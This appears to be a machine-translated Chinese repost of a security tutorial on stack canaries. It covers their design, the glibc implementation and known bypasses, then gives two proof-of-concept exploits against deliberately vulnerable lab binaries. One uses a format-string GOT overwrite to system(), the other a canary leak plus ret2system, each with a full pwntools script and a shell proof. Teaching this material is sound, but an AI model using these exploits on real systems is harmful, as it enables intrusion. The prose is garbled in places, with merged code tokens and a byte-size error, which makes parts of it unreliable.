基本设计
为了防止在程序运行时缓冲区损坏,除了数据执行保护 48称为 Stack Canary 被提出并最终实施,作为应对缓冲区腐败漏洞利用新威胁的对策。它很早就改编了!修补应用程序中的单个缓冲区漏洞是无害的,但即使在一个程序中,简单修补缓冲区大小的原因也可能对其他区域造成损害。最重要的是,使用遗留代码运行的程序数量和系统权限满足其需求相当大 22.总的来说,这种补丁驱动的软件开发性质与以下用途相结合输入不安全的语言,如 C/C++ 24使得这样的缓冲区问题仍然过于频繁地再次出现。而不是尝试在源级别解决问题,修补会尝试这样做,金丝雀 58尝试解决手头的问题:堆栈结构。
基本方法是在局部变量或一般的缓冲区内容与返回地址之间放置一个填充词,即金丝雀。这样做是为了每个*(*如果选择了正确的编译器标志) 34函数调用,而不是只为一些被遗忘的主函数调用一次。因此,在漏洞利用期间,通常需要覆盖多个金丝雀值。图中显示了一个基本方案
Process Address Process Address
Space Space
+---------------------+ +---------------------+
| | | |
0xFFFF | Top of stack | 0xFFFF | Top of stack |
+ | | + | |
| +---------------------+ | +---------------------+
| | malicious code <-----+ | | malicious code |
| +---------------------+ | | +---------------------+
| | | | | | |
| | | | | | |
| | | | | | |
| +---------------------| | | +---------------------|
| | return address | | | | return address |
| +---------------------+ | | +---------------------|
stack | | saved EBP +-----+ stack | | saved EBP |
growth | +---------------------+ growth | +---------------------+
| | local variables | | | stack canary |
| +---------------------+ | +---------------------+
| | | | | local variables |
| | buffer | | +---------------------+
| | | | | |
| | | | | buffer |
| +---------------------+ | | |
| | | | | |
| | | | +---------------------+
| | | | | |
v | | v | |
0x0000 | | 0x0000 | |
+---------------------+ +---------------------+
备注:重拍基指针 76万一你忘了!
金丝雀可以由不同的指标组成。随机值或终结符值是最后常用的值。在代码执行期间,当到达(接近)返回指令时,首先检查金丝雀的完整性,以评估它是否被更改。如果未发现任何更改,则恢复正常执行。如果检测到被篡改的金丝雀值,程序执行将立即终止,因为它表明存在恶意意图。用户控制的输入通常是造成这种情况的原因。这种情况最简单的情况是基本的堆栈破坏攻击,其中写入缓冲区的字节量超过了缓冲区大小。将其与不执行任何边界检查的系统调用配对会导致覆盖 Canary 值 73.
堆栈金丝雀在基于 Linux 的系统上的第一个实现出现在 1997 年,随着 StackGuard 的发布,它以GNU 编译器集合 (GCC) 的补丁集 58.
终结者金丝雀
让我们只看这个截图的示例代码,以便澄清:
int main(int argv, char **argc) {
int var1;
char buf[80];
int var2;
strcpy(buf,argc[1]);
print(buf);
exit(0);
}
正如名称终结者所暗示的那样,一旦在尝试覆盖期间达到它,它就应该停止覆盖。此值的一个示例值是 。该操作将停止,我们将无法更改退货地址。如果不是用来读入缓冲区,我们将能够写入 ,但会停止它。这就是这些终结符值在基本层面上的工作方式。0x000aff0d0x00strcpy()gets()strcpy()0x000x0a
一般来说,我们可以说终结符金丝雀包含 NULL(0x00)、CR (0x0d)、LF (0x0a) 和 EOF (0xff)。这四个 2 字节字符的这种组合应终止大多数字符串操作,从而使溢出尝试无害。
随机金丝雀
另一方面,随机金丝雀不会尝试停止字符串操作。他们希望让攻击者极难找到正确的值,因此一旦检测到篡改,进程就会终止。随机值取自 if available,如果不支持,则通过对一天中的时间进行哈希处理来创建。这种随机性足以阻止大多数预测尝试。/dev/urandom/dev/urandom
更仔细地了解金丝雀实现
让我们快速浏览一下最新的 Canary 的当前实现glibc 2.26 libc-start.c 37:
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
[...]
__stack_chk_guard = stack_chk_guard;
该函数如下所示:_dl_setup_stack_chk_guard
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
# __stack_chk_guard becomes a terminator canary
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = 'n';
}
# __stack_chk_guard will be a random canary
else
{
memcpy (ret.bytes, dl_random, sizeof (ret));#if BYTE_ORDER == LITTLE_ENDIAN
ret.num &= ~(uintptr_t) 0xff;#elif BYTE_ORDER == BIG_ENDIAN
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));#else# error "BYTE_ORDER unknown"#endif
}
return ret.num;
}
有趣的是,我们可以看到前面提到的基本设计选择!允许创建所有金丝雀类型。如果为 null,则为终止符金丝雀,否则为随机金丝雀。_dl_setup_stack_chk_guard()dl_random__stack_chk_guard
局限性
这种技术存在几个弱点。一种是静态金丝雀值,可以通过蛮力或简单地反复猜测轻松找到......相反,使用随机值或终结符值可以在早期迁移此缺陷。这加强了安全隐患,但攻击者仍可能规避此技术。当找到一种方法在运行时从应用程序的内存空间中提取金丝雀值时,可以绕过金丝雀保护的应用程序。或者,如果使用终结符金丝雀,则我们不能使用常见的字符串操作来写入它,但可以写入内存,直到金丝雀。这有效地允许获得对帧指针的完全控制。如果这是可能的,并且有可能写入堆栈或堆等内存区域,我们可以弯曲帧指针以指向内存中的指针。这使我们能够0x000aff0dterminator_canary+shellcode_address返回到注入的 shell 代码 177.
另一种旁路可以通过一种称为结构化的技术来实现异常处理程序漏洞利用(SEH Exploit) 138.它利用了堆栈金丝雀修改函数 pro- 和 epilogue 以进行金丝雀验证目的这一事实。如果堆栈或堆上的缓冲区在运行时被覆盖,并且在执行复制/写入函数返回之前注意到故障,则会引发异常。异常将传递给本地异常处理程序,该异常处理程序再次将其传递给正确的系统特定异常处理程序以处理错误。将所述异常处理程序更改为指向用户控制的输入(如 shell 代码)会使其返回到该输入。这绕过了任何金丝雀检查,并完成了对任何提供的恶意输入的执行。
注意:结构化异常处理程序是特定于 Windows 的!
注意2:这些限制并不代表如何绕过金丝雀的所有可能性!
概念验证 1
滥用堆栈 Canary 禁用的二进制文件
我就不在这里再讲这个了。在我的上一次中,已经演示了如何通过基本的堆栈粉碎攻击来做到这一点品 48.
滥用已启用的堆栈 Canary
Note: ASLR is still disabled for now: echo 0 > /proc/sys/kernel/randomize_va_space
易受攻击的程序
让我们考虑一下这个小程序:
#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>
int target;
void vuln(){
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
printf("Welcome 0x00sec to Stack Canariesn");
strdup(buffer);
return 0;
}
int main(int argc, char **argv){
vuln();
}
对于我们的PoC,我们不需要太多,因此该程序非常小。它所做的只是通过一些输入并使用 打印它。由于一些可疑的原因,这里也存在fgets()printf()strdup()
编译它。并检查我是否没有在启用的漏洞利用缓解措施上撒谎:gcc -fstack-protector-all -m32 -o vuln vuln.c
gef➤ checksec
[+] checksec for '/0x00sec/Canary/binary/vuln'
Canary : Yes → value: 0xd41a2e00
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
gef➤
数据执行保护 (NX) 以及 Canary 已完全启用。为了可用性和其他 gdb 增强功能,已经可以显示当前的金丝雀值。或者,如果存在堆栈金丝雀,我们始终拥有符号,我们可以搜索该符号:gef __stack_chk_fail
$ readelf -s ./vuln | grep __stack_chk_fail
5: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
58: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@@GLIBC_2
简要介绍一下装配体
gef➤ disassemble main
Dump of assembler code for function main:
0x080485ef <+0>:lea ecx,[esp+0x4]
0x080485f3 <+4>:and esp,0xfffffff0
0x080485f6 <+7>:push DWORD PTR [ecx-0x4]
0x080485f9 <+10>:push ebp
0x080485fa <+11>:mov ebp,esp
0x080485fc <+13>:push ecx
0x080485fd <+14>:sub esp,0x24
0x08048600 <+17>:mov eax,ecx
0x08048602 <+19>:mov edx,DWORD PTR [eax]
0x08048604 <+21>:mov DWORD PTR [ebp-0x1c],edx
0x08048607 <+24>:mov eax,DWORD PTR [eax+0x4]
0x0804860a <+27>:mov DWORD PTR [ebp-0x20],eax
0x0804860d <+30>:mov eax,gs:0x14 ; canary right here
0x08048613 <+36>:mov DWORD PTR [ebp-0xc],eax
0x08048616 <+39>:xor eax,eax ; at this point we can inspect the canary in gdb as well
0x08048618 <+41>:call 0x8048576 <vuln> ; vuln() function call
0x0804861d <+46>:mov eax,0x0
0x08048622 <+51>:mov ecx,DWORD PTR [ebp-0xc]
0x08048625 <+54>:xor ecx,DWORD PTR gs:0x14 ; canary check routine is started
0x0804862c <+61>:je 0x8048633 <main+68>
0x0804862e <+63>:call 0x8048410 <__stack_chk_fail@plt> ; canary fault handler if check fails
0x08048633 <+68>:add esp,0x24
0x08048636 <+71>:pop ecx
0x08048637 <+72>:pop ebp
0x08048638 <+73>:lea esp,[ecx-0x4]
0x0804863b <+76>:ret
End of assembler dump.
gef➤ disassemble vuln
Dump of assembler code for function vuln:
0x08048576 <+0>:push ebp
0x08048577 <+1>:mov ebp,esp
0x08048579 <+3>:sub esp,0x218
0x0804857f <+9>:mov eax,gs:0x14 ; canary right here
0x08048585 <+15>:mov DWORD PTR [ebp-0xc],eax
0x08048588 <+18>:xor eax,eax
0x0804858a <+20>:mov eax,ds:0x804a040
0x0804858f <+25>:sub esp,0x4
0x08048592 <+28>:push eax
0x08048593 <+29>:push 0x200
0x08048598 <+34>:lea eax,[ebp-0x20c]
0x0804859e <+40>:push eax
0x0804859f <+41>:call 0x8048400 <fgets@plt> ; fgets routine to fetch user input
0x080485a4 <+46>:add esp,0x10
0x080485a7 <+49>:sub esp,0xc
0x080485aa <+52>:lea eax,[ebp-0x20c]
0x080485b0 <+58>:push eax ; user input is pushed as argument for printf
0x080485b1 <+59>:call 0x80483d0 <printf@plt> ; printf routine call
0x080485b6 <+64>:add esp,0x10
0x080485b9 <+67>:sub esp,0xc
0x080485bc <+70>:push 0x80486e4 ; string is pushed as argument for puts
0x080485c1 <+75>:call 0x8048420 <puts@plt> ; puts routine call
0x080485c6 <+80>:add esp,0x10
0x080485c9 <+83>:sub esp,0xc
0x080485cc <+86>:lea eax,[ebp-0x20c]
0x080485d2 <+92>:push eax ; buffer contents pushed as argument to strdup
0x080485d3 <+93>:call 0x80483f0 <strdup@plt> ; strdup routine call
0x080485d8 <+98>:add esp,0x10
0x080485db <+101>:nop
0x080485dc <+102>:mov eax,DWORD PTR [ebp-0xc]
0x080485df <+105>:xor eax,DWORD PTR gs:0x14 ; canary check routine is started
0x080485e6 <+112>:je 0x80485ed <vuln+119>
0x080485e8 <+114>:call 0x8048410 <__stack_chk_fail@plt> ; canary fault handler if check fails
0x080485ed <+119>:leave
0x080485ee <+120>:ret
End of assembler dump.
gef➤
所以到目前为止没有什么不寻常的。我没有剥离二进制文件,我们期望的一切都在正确的地方。此外,金丝雀的初始化和检查可以很好地观察到!此外,还表明金丝雀检查是在每个被调用的函数中完成的,而不仅仅是在程序的函数中完成的。main()
回顾格式字符串攻击
以下漏洞利用了格式字符串错误。因此,我将在这里快速回顾一下基础知识。主要与 .如果我们可以控制要打印的内容,假设用户控制的内容,那么我们可以使用以下格式参数作为输入来操作输出!printf()printf()buf[64]
Parameters* Meaning Passed as
--------------------------------------------------------------------------
%d decimal (int) value
%u unsigned decimal (unsigned int) value
%x hexadecimal (unsigned int) value
%s string ((const) (unsigned) char*) reference
%n number of bytes written so far, (*int) reference
*Note: Only most relevant format paramters displayed
如果我们将n 传递给它,它会指示函数从堆栈中检索 n 个参数,并将它们显示为 8 位填充的十六进制数。如果操作得当,这可以用于查看任何位置的内存,甚至可以将所需的字节量(与 )写入内存中的某个地址!%08x. printf()%n
如果你觉得你需要复习很多,看看这个来自 picoCTF 的格式字符串写入 16.
金丝雀绕过
我们将仔细研究如何覆盖全局偏移表 (GOT)!这是可能的,因为我们没有完全启用的 RelRO:
部分 RELRO:
* the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program's data sections (.data and .bss)
* non-PLT GOT is read-only
* GOT is still writeable
完整的 RELRO:
* supports all the features of partial RELRO
* the entire GOT is also (re)mapped as read-only
如果您正在为整个 Global Offset Table 的混乱而苦苦挣扎,我强烈建议您阅读以下文章@_py:
Linux 内部 ~ 动态链接魔法 12!
和Linux Internals ~ 符号分辨率的艺术 10更详细的介绍!
如果您在没有先验知识的情况下仍在继续阅读,以下是我将采取的基本方法:
1. Find a way to get a shell
2. Calculate the bytes to write for a format string attack
3. Overwrite the GOT entry for strdup() with a function we can actually use for an exploit: system()
首先,我们要检查我们的本地 libc 位于何处。我们也可以从 gdb 中执行此操作:
gef➤ vmmap libc
Start End Offset Perm Path
0xf7dfd000 0xf7fad000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so <-
0xf7fad000 0xf7faf000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb0000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
gef➤
使用的 libc 的基址位于 。0xf7dfd000
接下来,我们想找到一种方法来弹出一个壳。还有什么比这更好的呢:system()
$ readelf -s /lib/i386-linux-gnu/libc-2.23.so | grep system
245: 00112ed0 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 <-
system()glibc 中的偏移量为 。0x3ada0
让我们把它们加到地址上,得到库中的最终地址。system()
0xf7dfd000 + 0x3ada0 = 0xf7e37da0
让我们检查一下我们的数学是否没有失败:
gef➤ x 0xf7e37da0
0xf7e37da0 <__libc_system>:0x8b0cec83
gef➤
看起来不错!甜!
注意:关于如何操作的提醒系统() 24工程。
我们列表中的下一个是在 GOT 中找到的地址,以便能够覆盖它!strdup()
让我们看一下函数中的程序集片段:vuln()
...
0x080485c9 <+83>:sub esp,0xc
0x080485cc <+86>:lea eax,[ebp-0x20c]
0x080485d2 <+92>:push eax
=> 0x080485d3 <+93>:call 0x80483f0 <strdup@plt>
0x080485d8 <+98>:add esp,0x10
0x080485db <+101>:nop
...
gef➤ disassemble 0x80483f0
Dump of assembler code for function strdup@plt:
0x080483f0 <+0>:jmp DWORD PTR ds:0x804a014
0x080483f6 <+6>:push 0x10
0x080483fb <+11>:jmp 0x80483c0
End of assembler dump.
gef➤
0x804a014是我们想要覆盖的地址!
利用
接下来是我整理的一个快速脚本,用于在不中断程序的任何正常控制流程的情况下获得一个 shell。通过反复试验手动计算要覆盖的字节数。首先,你要通过执行类似这样的操作来检查你的缓冲区参数在堆栈上的位置:strdup()system()
...
exploit = ""
exploit += "AAAABBBBCCCC"
exploit += "%x "*10
...
理想情况下,除了其他地址之外,您还可以在输出中快速找到。如果你这样做,你可以看到你的馈电输入在哪个位置被倾倒。例如,它可能看起来像这样:41414141 42424242 43434343
AAAABBBBCCCC200 f7faf5a0 f7ffd53c ffffcc48 f7fd95c5 0 41414141 42424242 43434343 25207825 78252078 20782520 25207825 78252078 20782520这意味着我们的输入位于堆栈的第 7 个位置。我们现在可以用更有意义的东西替换,比如我们想要覆盖的 GOT 中的条目。AAAABBBBCCCC
基本上,我们接下来要做的是写入一定数量的字节,然后更改 的地址。strdup()
我这样做了 4 次以覆盖 GOT 内的 4 个 2byte 位置。strdup()
#!/usr/bin/env python
import argparsefrom pwn import *from pwnlib import *
context.arch ='i386'
context.os ='linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'
binary = ELF('./binary/vuln')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def pad(s):
return s+"X"*(512-len(s))
def main():
parser = argparse.ArgumentParser(description='pwnage')
parser.add_argument('--dbg', '-d', action='store_true')
args = parser.parse_args()
exe = './binary/vuln'
strdup_plt = 0x804a014
system_libc = 0xf7e37da0
exploit = "sh;# "
exploit += p32(strdup_plt)
exploit += p32(strdup_plt+1)
exploit += p32(strdup_plt+2)
exploit += p32(strdup_plt+3)
exploit += "%9$136x"
exploit += "%9$n"
exploit += "%221x"
exploit += "%10$n"
exploit += "%102x"
exploit += "%11$n"
exploit += "%532x"
exploit += "%12$n"
padding = pad(exploit)
if args.dbg:
r = gdb.debug([exe], gdbscript="""
b *vuln+92
b *vuln+98
continue
""")
else:
r = process([exe])
r.send(padding)
r.interactive()
if __name__ == '__main__':
main()
sys.exit(0)
###Proof
$ python bypass_canary.py
[*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/vuln2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc-2.23.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './binary/vuln2': pid 20723
[*] Switching to interactive modesh;# x14xa0x0x15xa0x0x16xa0x0x17xa0x0 804a014 0 f7ffd000 f7ffd53cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXwhoamiWelcome 0x00sec to Stack Canaries$ whoamilab
好吧,这奏效了,但它并不一定能打败堆栈金丝雀!我刚刚打开了另一罐美味的攻击面,这样我就能够完全绕过金丝雀。由于这感觉不太对劲,我将给出另一个 PoC 来以更合适的方式击败该机制。
概念验证 2
立即击败堆栈金丝雀 4 realz
好的,这一次展示了一种更“标准”的击败堆栈金丝雀的方法
易受攻击的程序
#include <stdio.h>#include <string.h>#include <stdlib.h>
#define STDIN 0
void untouched(){
char answer[32];
printf("nCanaries are fun aren't they?n");
exit(0);
}
void minorLeak(){
char buf[512];
scanf("%s", buf);
printf(buf);
}
void totallySafeFunc(){
char buf[1024];
read(STDIN, buf, 2048);
}
int main(int argc, char* argv[]){
setbuf(stdout, NULL);
printf("echo> ");
minorLeak();
printf("n");
printf("read> ");
totallySafeFunc();
printf("> I reached the end!");
return 0;
}
这只是读取一些用户输入并打印出一些东西。正如函数名称所暗示的那样,击败金丝雀的最简单方法是通过信息泄漏。我们可以通过使用函数来实现这一点。与以前类似,我们将滥用格式字符串。之后,我们利用缓冲区溢出机会,将控制流重定向到我们喜欢的。minorLeak()totallySafeFunc()
Note: Obviously this binary is heavily vulnerable!
该漏洞利用的重点将放在 和 上。让我们检查一下是否有任何可能的异常:minorLeak()totallySafeFunc()asm
gef➤ disassemble minorLeak
Dump of assembler code for function minorLeak:
0x080485f6 <+0>:push ebp
0x080485f7 <+1>:mov ebp,esp
0x080485f9 <+3>:sub esp,0x218 ; 536 bytes on the stack are reserved
0x080485ff <+9>:mov eax,gs:0x14 ; stack canary
0x08048605 <+15>:mov DWORD PTR [ebp-0xc],eax
0x08048608 <+18>:xor eax,eax
0x0804860a <+20>:sub esp,0x8
0x0804860d <+23>:lea eax,[ebp-0x20c]
0x08048613 <+29>:push eax
0x08048614 <+30>:push 0x804879f
0x08048619 <+35>:call 0x80484b0 <__isoc99_scanf@plt> ; user input is copied into buf
0x0804861e <+40>:add esp,0x10
0x08048621 <+43>:sub esp,0xc
0x08048624 <+46>:lea eax,[ebp-0x20c]
0x0804862a <+52>:push eax
0x0804862b <+53>:call 0x8048450 <printf@plt> ; the contents of buf are printed out
0x08048630 <+58>:add esp,0x10
0x08048633 <+61>:nop
0x08048634 <+62>:mov eax,DWORD PTR [ebp-0xc] ; stack canary verifucation routine started
0x08048637 <+65>:xor eax,DWORD PTR gs:0x14
0x0804863e <+72>:je 0x8048645 <minorLeak+79>
0x08048640 <+74>:call 0x8048460 <__stack_chk_fail@plt>
0x08048645 <+79>:leave
0x08048646 <+80>:ret ; return to main()
End of assembler dump.
gef➤
gef➤ disassemble totallySafeFunc
Dump of assembler code for function totallySafeFunc:
0x08048647 <+0>:push ebp
0x08048648 <+1>:mov ebp,esp
0x0804864a <+3>:sub esp,0x418 ; 1048 bytes are reserved on the stack
0x08048650 <+9>:mov eax,gs:0x14 ; stack canary
0x08048656 <+15>:mov DWORD PTR [ebp-0xc],eax
0x08048659 <+18>:xor eax,eax
0x0804865b <+20>:sub esp,0x4
0x0804865e <+23>:push 0x800
0x08048663 <+28>:lea eax,[ebp-0x40c]
0x08048669 <+34>:push eax
0x0804866a <+35>:push 0x0
0x0804866c <+37>:call 0x8048440 <read@plt> ; user input is requestet
0x08048671 <+42>:add esp,0x10
0x08048674 <+45>:nop
0x08048675 <+46>:mov eax,DWORD PTR [ebp-0xc] ; stack canary verification routine
0x08048678 <+49>:xor eax,DWORD PTR gs:0x14
0x0804867f <+56>:je 0x8048686 <totallySafeFunc+63>
0x08048681 <+58>:call 0x8048460 <__stack_chk_fail@plt>
0x08048686 <+63>:leave
0x08048687 <+64>:ret ; return to main()
End of assembler dump.
gef➤
到目前为止,除了明显的漏洞和堆栈金丝雀的存在之外,我们无法发现任何异常。也就是说,让我们直接进入漏洞开发!
利用
#!/usr/bin/env python2
import argparsefrom pwn import *from pwnlib import *
context.arch ='i386'
context.os ='linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'
binary = ELF('./binary/realvuln4')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def leak_addresses():
leaker = '%llx.' * 68
return leaker
def prepend_0x_to_hex_value(hex_value):
full_hex_value = '0x' + hex_value
return full_hex_value
def extract_lower_8_bits(double_long_chunk):
return double_long_chunk[len(double_long_chunk) / 2:]
def cast_hex_to_int(hex_value):
return int(hex_value, 16)
def get_canary_value(address_dump):
get_canary_chunk = address_dump.split('.')[-2]
get_canary_part = extract_lower_8_bits(get_canary_chunk)
canary_with_pre_fix = prepend_0x_to_hex_value(get_canary_part)
print("[+] Canary value is {}".format(canary_with_pre_fix))
canary_to_int = cast_hex_to_int(canary_with_pre_fix)
return canary_to_int
def get_libc_base_from_leak(address_dump):
get_address_chunk = address_dump.split('.')[1]
get_malloc_chunk_of_it = extract_lower_8_bits(get_address_chunk)
malloc_with_prefix = prepend_0x_to_hex_value(get_malloc_chunk_of_it)
print("[+] malloc+26 is @ {}".format(malloc_with_prefix))
libc_base = cast_hex_to_int(malloc_with_prefix)-0x1f6faa # offset manually calculated by leak-libcbase
print("[+] This puts libc base address @ {}".format(hex(libc_base)))
return libc_base
def payload(leaked_adrs):
canary = get_canary_value(leaked_adrs)
libc_base = get_libc_base_from_leak(leaked_adrs)
bin_sh = int(libc.search("/bin/sh").next())
print("[+] /bin/sh located @ offset {}".format(hex(bin_sh)))
shell_addr = libc_base + bin_sh
print("[+] Shell address is {}".format(hex(shell_addr)))
print("[+] system@libc has offset: {}".format(hex(libc.symbols['system'])))
system_call = libc_base + libc.symbols['system']
print("[+] This puts the system call to {}".format(hex(system_call)))
payload = ''
payload += cyclic(1024)
payload += p32(canary)
payload += 'AAAA'
payload += 'BBBBCCCC'
#payload += p32(0x080485cb) # jump to untouched to show code redirection
#payload += p32(start_of_stack) # jump to stack start if no DEP this allows easy shell popping
payload += p32(system_call)
payload += 'AAAA'
payload += p32(shell_addr)
return payload
def main():
parser = argparse.ArgumentParser(description='pwnage')
parser.add_argument('--dbg', '-d', action='store_true')
args = parser.parse_args()
exe = './binary/realvuln4'
if args.dbg:
r = gdb.debug([exe], gdbscript="""
b *totallySafeFunc+42
continue
""")
else:
r = process([exe])
r.recvuntil("echo> ")
r.sendline(leak_addresses())
leaked_adrs = r.recvline()
print(leaked_adrs)
exploit = payload(leaked_adrs)
r.recvuntil("read> ")
r.sendline(exploit)
r.interactive()
if __name__ == '__main__':
main()
sys.exit(0)
这个漏洞并不是所有漏洞利用脚本中最漂亮的,但它可以完成这项工作。
这个快速脚本将完全执行我之前简要解释过的操作。这是另一个细分:
首先,我们泄漏了一堆格式为字符串(长长整数)的地址%llx.
分析泄露的地址,2b。事实证明,我们的堆栈金丝雀位于第 68 个泄露的地址2c。此外,堆栈的中间位于第一个泄漏的 ll 整数的后 8 位内!
从泄漏中提取这些值
飞行器有效载荷:4b。用垃圾4c 填充缓冲区。插入泄露的金丝雀4d. 代码重定向到4e. 假基指针4f. 最后附加的地址system@glibc/bin/sh
证明
$ python2 defeat_canary.py
[*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/realvuln4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc-2.23.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './binary/realvuln4': pid 20991ffffffffffffcb9c.f7df9008f7feffaa.f7e062e5f7fe1f60.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.f7fa5d002e786c6c.f7ffdad000000000.ffffcdc0ffffcd78.f7e5e3e9f7fe2b4b.f7fe2a70f7fa5000.108048200.804a014f7ffd918.f7ffdad0f7fe78a2.1f7fd34a0.1.f7fa5d60f7e532d8.0.f7ffd00000000000.ffffcd70080482a0.0.f7e350cbf7df9798.f7fa500000000000.ffffcdb8f7fa5000.f7fa5d60f7e3c696.ffffcda4080487a2.f7fa5d60f7e3c670.f7e3c675f7ffd918.80487a214b94100.
[+] Canary value is 0x14b94100
[+] Mid of Stack is @ 0xffffcb9c
[+] Beginning of Stack is -512 from that: 0xffffc99c
[+] malloc+26 is @ 0xf7feffaa
[+] This puts libc base address @ 0xf7df9000
[+] /bin/sh located @ offset 0x15ba0b
[+] Shell address is 0xf7f54a0b
[+] system@libc has offset: 0x3ada0
[+] This puts the system call to 0xf7e33da0
[*] Switching to interactive mode$ whoamilab$
我们可以在输出中看到,控制流被重定向并弹出了一个 shell!那么我们现在如何处理这些信息呢?
如果我们假设我们可能存在信息泄漏,并且可以始终获取金丝雀值,那么绕过它们就不是问题。重定向/更改程序的控制流程是下一个重要步骤。
如果启用了 DEP,则仅将其拉回堆栈将不起作用。
只有当 RELRO 仅部分启用时,才容易覆盖 GOT,并且在此用例中甚至可能不需要泄漏 canary,
否则,好的 ol' ret2system 仍然可以创造奇迹
结论
涵盖方法于 20 多年前首次实施。对于这样的早期适应,安全性方面相当高。但是,如果金丝雀想要可行,就必须实现对金丝雀的哪些影响?我们通过关注他们的弱点来证明这一点!
为了安全起见,金丝雀必须至少确保以下属性:
* be not predictable (must be generated from a source with good entropy) => depends on the used random generator!
* must be located in a non-accessible location => we were able to access it!
* cannot be brute-forced => goes hand in hand with the argument before and was not true!
* should always contain at least one termination character => currently depends on the used canary, so not always the case!
对其他程序组件进行巧妙的检测,即使存在于程序中的每个功能中,也可以找到一种方法来构建旁路,甚至完全避免旁路。两人提出的PoC希望以一种易于理解的方式展示上述内容。
原文始发于微信公众号(天启者安全):堆栈金丝雀 / 堆栈 Cookie (SC)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论